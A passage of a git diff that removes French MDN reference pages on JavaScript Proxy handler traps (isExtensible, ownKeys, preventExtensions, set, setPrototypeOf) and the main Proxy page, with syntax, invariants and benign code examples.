{{jsxref("Objets_globaux/Proxy/handler/has", "handler.has()")}}
-
Une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}}.
-
{{jsxref("Objets_globaux/Proxy/handler/get", "handler.get()")}}
-
Une trappe pour l'accès aux valeurs des propriétés.
-
{{jsxref("Objets_globaux/Proxy/handler/set", "handler.set()")}}
-
Une trappe pour la définition des valeurs des propriétés.
-
{{jsxref("Objets_globaux/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}
-
Une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}.
-
{{jsxref("Objets_globaux/Proxy/handler/ownKeys", "handler.ownKeys()")}}
-
Une trappe pour {{jsxref("Object.getOwnPropertyNames")}} et {{jsxref("Object.getOwnPropertySymbols")}}.
-
{{jsxref("Objets_globaux/Proxy/handler/apply", "handler.apply()")}}
-
Une trappe pour l'appel d'une fonction.
-
{{jsxref("Objets_globaux/Proxy/handler/construct", "handler.construct()")}}
-
Une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}.
-
- -

Certaines trappes non standards sont désormais obsolètes et ont été supprimées.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}{{Spec2('ESDraft')}}La trappe pour enumerate a été retirée.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Proxy.handler")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Proxy")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/isextensible/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/isextensible/index.html deleted file mode 100644 index df26cad63d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/isextensible/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: handler.isExtensible() -slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/isExtensible -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Proxy - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/isExtensible ---- -
{{JSRef}}
- -

La méthode handler.isExtensible() est une trappe pour intercepter les opérations de {{jsxref("Object.isExtensible()")}}.

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-isextensible.html", "taller")}}
- - - -

Syntaxe

- -
var p = new Proxy(cible, {
-  isExtensible: function(cible) {
-  }
-});
-
- -

Paramètres

- -

Les paramètres suivants sont passés à la méthode isExtensible. this est ici lié au gestionnaire (handler).

- -
-
cible
-
L'objet cible.
-
- -

Valeur de retour

- -

La méthode isExtensible doit renvoyer une valeur booléenne.

- -

Description

- -

La méthode handler.isExtensible() est une trappe pour intercepter {{jsxref("Object.isExtensible()")}}.

- -

Interceptions

- -

Cette trappe intercepte les opérations suivantes :

- -
    -
  • {{jsxref("Object.isExtensible()")}}
    • -
  • {{jsxref("Reflect.isExtensible()")}}
    • -
- -

Invariants

- -

Si les invariants suivants ne sont pas respectés, le proxy renverra une exception  {{jsxref("TypeError")}} :

- -
    -
  • Object.isExtensible(proxy) doit renvoyer la même valeur que Object.isExtensible(cible).
    • -
- -

Exemples

- -

Dans l'exemple qui suit, on intercepte {{jsxref("Object.isExtensible()")}}.

- -
var p = new Proxy({}, {
-  isExtensible: function(cible) {
-    console.log("appelée");
-    return true;
-  }
-});
-
-console.log(Object.isExtensible(p)); // "appelée"
-                                     // true
-
- -

Le code suivante ne respecte pas l'invariant et entraîne donc une exception.

- -
var p = new Proxy({}, {
-  isExtensible: function(cible) {
-    return false;
-  }
-});
-
-Object.isExtensible(p); // TypeError est levée
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-isextensible', '[[IsExtensible]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-isextensible', '[[IsExtensible]]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Proxy.handler.isExtensible")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Proxy")}}
    • -
  • {{jsxref("Proxy.handler", "handler")}}
    • -
  • {{jsxref("Object.isExtensible()")}}
    • -
  • {{jsxref("Reflect.isExtensible()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/ownkeys/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/ownkeys/index.html deleted file mode 100644 index b60a836ded..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/ownkeys/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: handler.ownKeys() -slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/ownKeys -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Proxy - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/ownKeys ---- -
{{JSRef}}
- -

La méthode handler.ownKeys() est une trappe pour {{jsxref("Object.getOwnPropertyNames()")}}.

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-ownkeys.html", "taller")}}
- - - -

Syntaxe

- -
var p = new Proxy(cible, {
-  ownKeys: function(cible) {
-  }
-});
-
- -

Paramètres

- -

Le paramètre suivant est passé à la méthode ownKeys. this est lié au gestionnaire.

- -
-
cible
-
L'objet cible.
-
- -

Valeur de retour

- -

La méthode ownKeys doit renvoyer un objet énumérable.

- -

Description

- -

La méthode handler.ownKeys() est une trappe pour intercepter les opérations de {{jsxref("Object.getOwnPropertyNames()")}}.

- -

Interceptions

- -

Cette trappe permet d'intercepter les opérations suivantes :

- -
    -
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • -
  • {{jsxref("Object.getOwnPropertySymbols()")}}
    • -
  • {{jsxref("Object.keys()")}}
    • -
  • {{jsxref("Reflect.ownKeys()")}}
    • -
- -

Invariants

- -

Si les invariants suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :

- -
    -
  • Le résultat de ownKeys doit être un tableau.
    • -
  • Le type de chaque élément de ce tableau est soit une {{jsxref("String")}}, soit un {{jsxref("Symbol")}}.
    • -
  • Le tableau résultant doit contenir les clés de toutes les propriétés propres non-configurables de l'objet cible.
    • -
  • Si l'objet cible n'est pas extensible, la liste obtenue doit contenir toutes les clés pour les propriétés propres et aucune autre valeur.
    • -
- -

Exemples

- -

Dans l'exemple suivant, on intercepte l'action de {{jsxref("Object.getOwnPropertyNames()")}}.

- -
var p = new Proxy({}, {
-  ownKeys: function(target) {
-    console.log("appelée");
-    return ["a", "b", "c"];
-  }
-});
-
-console.log(Object.getOwnPropertyNames(p)); // "appelée"
-                                            // [ "a", "b", "c"]
-
- -

L'exemple suivant ne respecte pas l'ensemble des invariants :

- -
var obj = {};
-Object.defineProperty(obj, "a", {
-  configurable: false,
-  enumerable: true,
-  value: 10 }
-);
-
-var p = new Proxy(obj, {
-  ownKeys: function(cible) {
-    return [123, 12.5, true, false, undefined, null, {}, []];
-  }
-});
-
-console.log(Object.getOwnPropertyNames(p));
-// TypeError est levée
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys', '[[OwnPropertyKeys]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys', '[[OwnPropertyKeys]]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Proxy.handler.ownKeys")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Proxy")}}
    • -
  • {{jsxref("Proxy.handler", "handler")}}
    • -
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • -
  • {{jsxref("Reflect.ownKeys()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/preventextensions/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/preventextensions/index.html deleted file mode 100644 index e62fa36d4e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/preventextensions/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: handler.preventExtensions() -slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/preventExtensions -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Proxy - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/preventExtensions ---- -
{{JSRef}}
- -

La méthode handler.preventExtensions() est une trappe pour {{jsxref("Object.preventExtensions()")}}.

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-preventextensions.html", "taller")}}
- - - -

Syntaxe

- -
var p = new Proxy(cible, {
-  preventExtensions: function(cible) {
-  }
-});
-
- -

Paramètres

- -

Le paramètre suivant est passé à la méthode preventExtensions. this est lié au gestionnaire (handler).

- -
-
cible
-
L'objet cible.
-
- -

Valeur de retour

- -

La méthode preventExtensions doit renvoyer une valeur booléenne.

- -

Description

- -

La méthode handler.preventExtensions() est une trappe pour intercepter {{jsxref("Object.preventExtensions()")}}.

- -

Interceptions

- -

Cette trappe peut intercepter les opérations de :

- -
    -
  • {{jsxref("Object.preventExtensions()")}}
    • -
  • {{jsxref("Reflect.preventExtensions()")}}
    • -
- -

Invariants

- -

Si les invariants suivants ne sont pas respectés, le proxy renverra une execption {{jsxref("TypeError")}} :

- -
    -
  • Object.preventExtensions(proxy) ne renvoie true que si Object.isExtensible(proxy) vaut false.
    • -
- -

Exemples

- -

On intercepte l'appel à {{jsxref("Object.preventExtensions()")}} dans l'exemple suivant :

- -
var p = new Proxy({}, {
-  preventExtensions: function(cible) {
-    console.log("appelé");
-    Object.preventExtensions(cible);
-    return true;
-  }
-});
-
-console.log(Object.preventExtensions(p)); // "appelé"
-                                          // true
-
- -

Le code suivant ne respecte pas l'invariant :

- -
var p = new Proxy({}, {
-  preventExtensions: function(cible) {
-    return true;
-  }
-});
-
-Object.preventExtensions(p); // TypeError est levée
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-preventextensions', '[[PreventExtensions]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-preventextensions', '[[PreventExtensions]]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Proxy.handler.preventExtensions")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Proxy")}}
    • -
  • {{jsxref("Proxy.handler", "handler")}}
    • -
  • {{jsxref("Object.preventExtensions()")}}
    • -
  • {{jsxref("Reflect.preventExtensions()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/set/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/set/index.html deleted file mode 100644 index 11270be519..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/set/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: handler.set() -slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/set -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Proxy - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/set ---- -
{{JSRef}}
- -

La méthode handler.set() est une trappe permettant d'intercepter les opérations visant à définir ou modifier la valeur d'une propriété.

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-set.html", "taller")}}
- - - -

Syntaxe

- -
var p = new Proxy(cible, {
-  set: function(cible, propriété, valeur, récepteur) {
-  }
-});
-
- -

Paramètres

- -

Les paramètres suivants sont passés à la méthode set. this est lié au gestionnaire.

- -
-
cible
-
L'objet cible.
-
propriété
-
Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété à définir.
-
valeur
-
La nouvelle valeur à définir pour la propriété.
-
récepteur
-
L'objet intialement visé par l'affectation. Généralement ce sera le proxy lui-même. Le gestionnaire set peut également être appelé indirectement, via la chaîne de prototypes ou d'autres façons.
-
Par exemple, si on exécute l'instruction obj.nom = "Jean", et qu'obj n'est pas un proxy ni ne possède de propriété nom mais s'il possède un proxy dans sa chaîne de prototypes, le gestionnaire set sera appelé et obj sera passé en tant que récepteur.
-
- -

Valeur de retour

- -

La méthode set doit renvoyer une valeur booléenne. Elle renvoie true pour indiquer que l'affectation a réussi. Si la méthode set renvoie false et que l'affectation était exécutée dans du code en mode strict, une exception {{jsxref("TypeError")}} sera levée.

- -

Description

- -

La méthode handler.set est une trappe qui permet d'intercepter les opérations qui sont utilisées pour définir ou modifier la valeur d'une propriété.

- -

Interceptions

- -

Cette trappe permet d'intercepter les opérations suivantes :

- -
    -
  • L'affectation à des propriétés : proxy[toto] = truc et proxy.toto = truc
    • -
  • L'affectation de propriétés héritées : Object.create(proxy)[toto] = truc
    • -
  • {{jsxref("Reflect.set()")}}
    • -
- -

Invariants

- -

Si les invariants suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :

- -
    -
  • Il est impossible de modifier la valeur d'une propriété pour qu'elle soit différente de la valeur de la propriété correspondante de l'objet cible si celle-ci n'est pas accessible en lecture seule et est non-configurable (pour les propriétés de données).
    • -
  • Il est impossible de modifier la valeur d'une propriété si la propriété correspondante de l'objet cible est une propriété d'accesseur/mutateur dont l'attribut [[Set]] vaut undefined.
    • -
  • En mode strict, si le gestionnaire set renvoie une valeur fausse (dans un contexte booléen), cela lèvera une exception {{jsxref("TypeError")}}.
    • -
- -

Exemples

- -

Dans l'exemple qui suit, on intercepte la définition d'une nouvelle propriété.

- -
var p = new Proxy({}, {
-  set: function(target, prop, value, receiver) {
-    target[prop] = value;
-    console.log('property set: ' + prop + ' = ' + value);
-    return true;
-  }
-});
-
-console.log('a' in p);  // false
-
-p.a = 10;               // "property set: a = 10"
-console.log('a' in p);  // true
-console.log(p.a);       // 10
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-set-p-v-receiver', '[[Set]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-set-p-v-receiver', '[[Set]]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Proxy.handler.set")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Proxy")}}
    • -
  • {{jsxref("Proxy.handler", "handler")}}
    • -
  • {{jsxref("Reflect.set()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/setprototypeof/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/setprototypeof/index.html deleted file mode 100644 index 61c288637a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/setprototypeof/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: handler.setPrototypeOf() -slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/setPrototypeOf -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Proxy - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/setPrototypeOf ---- -
{{JSRef}}
- -

La méthode handler.setPrototypeOf() est une trappe pour intercepter {{jsxref("Object.setPrototypeOf()")}}.

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-setprototypeof.html", "taller", "taller")}}
- - - -

Syntaxe

- -
var p = new Proxy(cible, {
-  setPrototypeOf: function(cible, prototype) {
-  }
-});
-
- -

Paramètres

- -

Les paramètres suivants sont passés à la méthode setPrototypeOf. this est lié au gestionnaire.

- -
-
cible
-
L'objet cible.
-
prototype
-
Le nouveau prototype de l'objet ou null.
-
- -

Valeur de retour

- -

La méthode setPrototypeOf renvoie true si la propriété interne [[Prototype]] a bien été modifiée et false sinon.

- -

Description

- -

La méthode handler.setPrototypeOf est une trappe utilisée pour intercepter les opérations de {{jsxref("Object.setPrototypeOf()")}}.

- -

Interceptions

- -

Cette trappe permet d'intercepter :

- -
    -
  • {{jsxref("Object.setPrototypeOf()")}}
    • -
  • {{jsxref("Reflect.setPrototypeOf()")}}
    • -
- -

Invariants

- -

Si les invariants suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :

- -
    -
  • Si cible n'est pas extensible, le paramètre prototype doit être le même valeur que Object.getPrototypeOf(cible).
    • -
- -

Exemples

- -

Si on souhaite interdire la définition d'un nouveau prototype pour un objet, on peut utiliser une méthode setPrototypeOf qui renvoie false ou qui génère une exception.

- -

Avec cette première approche, toute opération qui voudra modifier le prototype génèrera une exception. On aura par exemple {{jsxref("Object.setPrototypeOf()")}} qui créera et lèvera l'exception TypeError. Si la modification est effectuée par une opération qui ne génère pas d'exception en cas d'échec (comme  {{jsxref("Reflect.setPrototypeOf()")}}), aucune exception ne sera générée.

- -
var handlerReturnsFalse = {
-    setPrototypeOf(target, newProto) {
-        return false;
-    }
-};
-
-var newProto = {}, target = {};
-
-var p1 = new Proxy(target, handlerReturnsFalse);
-Object.setPrototypeOf(p1, newProto);
-// lève une TypeError
-Reflect.setPrototypeOf(p1, newProto);
-// renvoie false
-
- -

Avec cette seconde approche, toute tentative de modification génèrera une exception. On utilisera celle-ci lorsqu'on souhaite qu'une erreur se produisent, y compris pour les opérations qui ne génèrent habituellement pas d'exception ou si on souhaite générer une exception sur mesure.

- -
var handlerThrows = {
-    setPrototypeOf(target, newProto) {
-        throw new Error("erreur custom");
-    }
-};
-
-var newProto = {}, target = {};
-
-var p2 = new Proxy(target, handlerThrows);
-Object.setPrototypeOf(p2, newProto);
-// lève une exception new Error("erreur custom")
-Reflect.setPrototypeOf(p2, newProto);
-// lève une exception new Error("erreur custom")
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-setprototypeof-v', '[[SetPrototypeOf]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-setprototypeof-v', '[[SetPrototypeOf]]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Proxy.handler.setPrototypeOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Proxy")}}
    • -
  • {{jsxref("Proxy.handler", "handler")}}
    • -
  • {{jsxref("Object.setPrototypeOf()")}}
    • -
  • {{jsxref("Reflect.setPrototypeOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/index.html deleted file mode 100644 index 095515482d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/proxy/index.html +++ /dev/null @@ -1,407 +0,0 @@ ---- -title: Proxy -slug: Web/JavaScript/Reference/Objets_globaux/Proxy -tags: - - ECMAScript 2015 - - JavaScript - - Proxy - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy ---- -
{{JSRef}}
- -

L'objet Proxy est utilisé afin de définir un comportement sur mesure pour certaines opérations fondamentales (par exemple, l'accès aux propriétés, les affectations, les énumérations, les appels de fonctions, etc.).

- -

Terminologie

- -
-
gestionnaire (handler)
-
Un objet qui contient les trappes qui intercepteront les opérations.
-
trappes
-
Les méthodes qui fournissent l'accès aux propriétés. Ce concept est analogue aux trappes utilisées dans les systèmes d'exploitations.
-
cible
-
L'objet virtualisé par le proxy. Il est souvent utilisé comme objet de stockage. Les invariants (c'est-à-dire les éléments de sémantique qui restent inchangés) relatifs à la non-extensibilité et au caractère non-configurable des propriétés sont vérifiés par rapport à la cible.
-
- -

Syntaxe

- -
var p = new Proxy(cible, gestionnaire);
-
- -

Paramètres

- -
-
cible
-
Une cible (qui peut être n'importe quel objet, un tableau, une fonction, ou même un autre proxy) qu'on souhaite envelopper dans un Proxy.
-
gestionnaire
-
Un objet dont les propriétés sont des fonctions qui définissent le comportement du proxy lorsqu'on utilise une opération sur celui-ci.
-
- -

Méthodes

- -
-
{{jsxref("Proxy.revocable()")}}
-
Permet de créer un objet Proxy révocable.
-
- -

Méthodes pour le gestionnaire

- -

L'objet utilisé comme gestionnaire regroupe les différentes fonctions « trappes » pour le Proxy.

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Proxy/handler', 'Méthodes') }}
- -

Exemples

- -

Exemple simple

- -

Dans ce court exemple, on renvoie le nombre 37 comme valeur par défaut lorsque la propriété nommée n'est pas présente dans l'objet. Pour cela, on utilise le gestionnaire correspondant à {{jsxref("Objets_globaux/Proxy/handler/get","get")}}.

- -
var handler = {
-    get: function(obj, prop){
-        return prop in obj?
-            obj[prop] :
-            37;
-    }
-};
-
-var p = new Proxy({}, handler);
-p.a = 1;
-p.b = undefined;
-
-console.log(p.a, p.b); // 1, undefined
-console.log('c' in p, p.c); // false, 37
-
- -

Proxy « invisible »

- -

Dans cet exemple, le proxy transfère toutes les opérations qui sont appliquées à l'objet cible.

- -
var cible = {};
-var p = new Proxy(cible, {});
-
-p.a = 37; // L'opération est transmise à la cible par le proxy
-
-console.log(cible.a); // 37. L'opération a bien été transmise
-
- -

Validation

- -

En utilisant un Proxy, il devient simple de valider les valeurs passées à un objet. Dans cet exemple, on utilise le gestionnaire correspondant à {{jsxref("Objets_globaux/Proxy/handler/set","set")}}.

- -
let validateur = {
-  set: function(obj, prop, valeur) {
-    if (prop === 'âge') {
-      if (!Number.isInteger(valeur)) {
-        throw new TypeError('Cet âge n\'est pas un entier.');
-      }
-      if (valeur > 200) {
-        throw new RangeError('Cet âge semble invalide.');
-      }
-    }
-
-    // Le comportement par défaut : enregistrer la valeur
-    obj[prop] = valeur;
-
-    // On indique le succès de l'opération
-    return true;
-  }
-};
-
-let personne = new Proxy({}, validateur);
-
-personne.âge = 100;
-console.log(personne.âge); // 100
-personne.âge = 'jeune';    // lève une exception
-personne.âge = 300;        // lève une exception
-
- -

Étendre un constructeur

- -

En utilisant une fonction proxy, on peut étendre un constructeur avec un nouveau constructeur. Dans cet exemple, on utilise les gestionnaires correspondants à {{jsxref("Objets_globaux/Proxy/handler/construct","construct")}} et {{jsxref("Objets_globaux/Proxy/handler/apply","apply")}}.

- -
function étendre(sup,base) {
-  var descripteur = Object.getOwnPropertyDescriptor(
-    base.prototype, "constructor"
-  );
-  base.prototype = Object.create(sup.prototype);
-  var gestionnaire = {
-    construct: function(cible, args) {
-      var obj = Object.create(base.prototype);
-      this.apply(cible,obj,args);
-      return obj;
-    },
-    apply: function(cible, that, args) {
-      sup.apply(that,args);
-      base.apply(that,args);
-    }
-  };
-  var proxy = new Proxy(base,gestionnaire);
-  descripteur.value = proxy;
-  Object.defineProperty(base.prototype, "constructor", descripteur);
-  return proxy;
-}
-
-var Personne = function(nom){
-  this.nom = nom;
-};
-
-var Garçon = étendre(Personne, function(nom, âge) {
-  this.âge = âge;
-});
-
-Garçon.prototype.genre = "M";
-
-var Pierre = new Garçon("Pierre", 13);
-console.log(Pierre.genre);  // "M"
-console.log(Pierre.nom);  // "Pierre"
-console.log(Pierre.âge);  // 13
- -

Manipuler les nœuds DOM

- -

Parfois, on veut passer un attribut ou un nom de classe entre deux éléments différents. Dans cet exemple, on utilise le gestionnaire lié à {{jsxref("Objets_globaux/Proxy/handler/set","set")}}.

- -
let vue = new Proxy({
-  selected: null
-},
-{
-  set: function(obj, prop, nouvelleValeur) {
-    let ancienneValeur = obj[prop];
-
-    if (prop === 'selected') {
-      if (ancienneValeur) {
-        ancienneValeur.setAttribute('aria-selected', 'false');
-      }
-      if (nouvelleValeur) {
-        nouvelleValeur.setAttribute('aria-selected', 'true');
-      }
-    }
-
-    // Le comportement par défaut : enregistrer la valeur
-    obj[prop] = nouvelleValeur;
-
-    // On indique le succès de l'opération
-    return true;
-  }
-});
-
-let i1 = vue.selected = document.getElementById('item-1');
-console.log(i1.getAttribute('aria-selected')); // 'true'
-
-let i2 = vue.selected = document.getElementById('item-2');
-console.log(i1.getAttribute('aria-selected')); // 'false'
-console.log(i2.getAttribute('aria-selected')); // 'true'
-
- -

Corriger une valeur et ajouter une propriété supplémentaire

- -

Dans l'exemple qui suit, le proxy produits évalue la valeur passée et la convertit en tableau si besoin. L'objet supporte également la propriété supplémentaire dernierNavigateur à la fois comme accesseur et mutateur.

- -
let produits = new Proxy({
-  navigateurs: ['Internet Explorer', 'Netscape']
-},
-{
-  get: function(obj, prop) {
-    // Une propriété supplémentaire
-    if (prop === 'dernierNavigateur') {
-      return obj.navigateurs[obj.navigateurs.length - 1];
-    }
-
-    // Le comportement par défaut : renvoyer la valeur
-    return obj[prop];
-  },
-  set: function(obj, prop, valeur) {
-    // Une propriété supplémentaire
-    if (prop === 'dernierNavigateur') {
-      obj.navigateurs.push(valeur);
-      return true;
-    }
-
-    // on convertit la valeur si ce n'est pas un tableau
-    if (typeof valeur === 'string') {
-      valeur = [valeur];
-    }
-
-    // Le comportement par défaut : enregistrer la valeur
-    obj[prop] = valeur;
-
-    // On indique le succès de l'opération
-    return true;
-  }
-});
-
-console.log(produits.navigateurs); // ['Internet Explorer', 'Netscape']
-produits.navigateurs = 'Firefox'; // on passe une chaîne
-console.log(produits.navigateurs); // ['Firefox'] <- pas de problème, elle est convertie en tableau
-
-produits.dernierNavigateur = 'Chrome';
-console.log(produits.navigateurs); // ['Firefox', 'Chrome']
-console.log(produits.dernierNavigateur); // 'Chrome'
-
- -

Trouver un élément dans un tableau grâce à sa propriété

- -

Dans cet exemple, ce proxy étend le tableau avec des fonctionnalités supplémentaires. Ici, on définit des propriétés sans utiliser {{jsxref("Objets_globaux/Object/defineProperties","Object.defineProperties")}}. Cet exemple pourrait être adapté pour trouver la ligne d'un tableau à partir d'une de ces cellules (la cible serait alors table.rows).

- -
let produits = new Proxy([
-  { nom: 'Firefox', type: 'navigateur' },
-  { nom: 'SeaMonkey', type: 'navigateur' },
-  { nom: 'Thunderbird', type: 'client mail' }
-],
-{
-  get: function(obj, prop) {
-    // Le comportement par défaut : on renvoie la valeur
-    // prop est généralement un entier
-    if (prop in obj) {
-      return obj[prop];
-    }
-
-    // On obtient le nombre de produits
-    // un alias pour products.length
-    if (prop === 'nombre') {
-      return obj.length;
-    }
-
-    let résultat, types = {};
-
-    for (let produit of obj) {
-      if (produit.nom === prop) {
-        résultat = produit;
-      }
-      if (types[produit.type]) {
-        types[produit.type].push(produit);
-      } else {
-        types[produit.type] = [produit];
-      }
-    }
-
-    // Obtenir un produit grâce à un nom
-    if (résultat) {
-      return résultat;
-    }
-
-    // Obtenir un produit par type
-    if (prop in types) {
-      return types[prop];
-    }
-
-    // Obtenir les types de produits
-    if (prop === 'types') {
-      return Object.keys(types);
-    }
-
-    return undefined;
-  }
-});
-
-console.log(produits[0]); // { nom: 'Firefox', type: 'navigateur' }
-console.log(produits['Firefox']); // { nom: 'Firefox', type: 'navigateur' }
-console.log(produits['Chrome']); // undefined
-console.log(produits.navigateur); // [{ nom: 'Firefox', type: 'navigateur' }, { nom: 'SeaMonkey', type: 'navigateur' }]
-console.log(produits.types); // ['navigateur', 'client mail']
-console.log(produits.nombre); // 3
-
- -

Un exemple avec toutes les trappes

- -

Pour illustrer l'ensemble des trappes, on tente de « proxifier » un objet non natif : l'objet global docCookies créé grâce à cet exemple.

- -
/*
-  var docCookies = ... définir l'objet "docCookies" grâce à
-  https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support
-*/
-
-var docCookies = new Proxy(docCookies, {
-  "get": function (oTarget, sKey) {
-    return oTarget[sKey] || oTarget.getItem(sKey) || undefined;
-  },
-  "set": function (oTarget, sKey, vValue) {
-    if (sKey in oTarget) { return false; }
-    return oTarget.setItem(sKey, vValue);
-  },
-  "deleteProperty": function (oTarget, sKey) {
-    if (sKey in oTarget) { return false; }
-    return oTarget.removeItem(sKey);
-  },
-  "enumerate": function (oTarget, sKey) {
-    return oTarget.keys();
-  },
-  "ownKeys": function (oTarget, sKey) {
-    return oTarget.keys();
-  },
-  "has": function (oTarget, sKey) {
-    return sKey in oTarget || oTarget.hasItem(sKey);
-  },
-  "defineProperty": function (oTarget, sKey, oDesc) {
-    if (oDesc && "value" in oDesc) { oTarget.setItem(sKey, oDesc.value); }
-    return oTarget;
-  },
-  "getOwnPropertyDescriptor": function (oTarget, sKey) {
-    var vValue = oTarget.getItem(sKey);
-    return vValue ? {
-      "value": vValue,
-      "writable": true,
-      "enumerable": true,
-      "configurable": false
-    } : undefined;
-  },
-});
-
-/* Cookies test */
-
-console.log(docCookies.mon_cookie1 = "Première valeur");
-console.log(docCookies.getItem("mon_cookie1"));
-
-docCookies.setItem("mon_cookie1", "Valeur modifiée");
-console.log(docCookies.mon_cookie1);
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-objects', 'Proxy')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ES2016', '#sec-proxy-objects', 'Proxy')}}{{Spec2('ES2016')}}
{{SpecName('ES2017', '#sec-proxy-objects', 'Proxy')}}{{Spec2('ES2017')}}
{{SpecName('ESDraft', '#sec-proxy-objects', 'Proxy')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

